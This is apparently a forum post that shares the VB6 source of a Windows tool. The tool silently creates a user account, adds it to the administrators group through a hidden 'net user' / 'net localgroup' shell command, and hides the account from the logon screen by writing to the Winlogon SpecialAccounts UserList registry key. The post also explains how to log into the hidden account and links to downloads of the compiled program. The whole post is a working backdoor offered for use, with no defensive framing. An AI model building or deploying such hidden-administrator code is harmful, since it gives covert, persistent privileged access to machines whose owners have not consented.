How it works:
It uses the net user commands to add a new user account, then uses net localgroup to add it to the administrators group,
then it adds a registry key in:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
DWORD with the name of the username specified and the value of 0, thus hiding it from the regular logon screen,
to logon the account press CONTROL+ALT+DELETE several times at the logon screen and enter the username + password, the executed file and source code (VB6) are attached, here followed the source code also:
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal RESERVED As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Const READ_CONTROL As Long = &H20000
Private Const STANDARD_RIGHTS_WRITE As Long = (READ_CONTROL)
Private Const KEY_SET_VALUE As Long = &H2
Private Const KEY_CREATE_SUB_KEY As Long = &H4
Private Const SYNCHRONIZE As Long = &H100000
Private Const KEY_WRITE As Long = _
((STANDARD_RIGHTS_WRITE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY) And (Not SYNCHRONIZE))
Private Const HKEY_LOCAL_MACHINE As Long = &H80000002
Private Const REG_SZ As Long = 1
Private Const REG_DWORD As Long = 4
Public username As String
Public password As String
Public Function hidekey()
Dim str As String
subKey = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"
str = Chr(0) & Chr(0) & Chr(0) & Chr(0)
Size = Len(str)
RegOpenKeyEx HKEY_LOCAL_MACHINE, subKey, 0, KEY_WRITE, Key
RegSetValueEx Key, username, 0, REG_DWORD, ByVal str, Size
RegCloseKey Key
End Function
Sub Main()
While username = ""
username = InputBox("Please enter username (Can't be blank)")
Wend
password = InputBox("Please enter passowrd (Can be blank)")
Shell "cmd /c net user " & Chr(34) & username & Chr(34) & " " & Chr(34) & password & Chr(34) & " /add && net localgroup administrators " & username & " /add", vbHide
hidekey
MsgBox "The user " & username & " has been added!", vbInformation
End
End Subapologies for the lack of commentsHmm appearantly it doesnt likes me to upload the files...
Alternative download links:
rapidshare
megaupload




This topic is locked







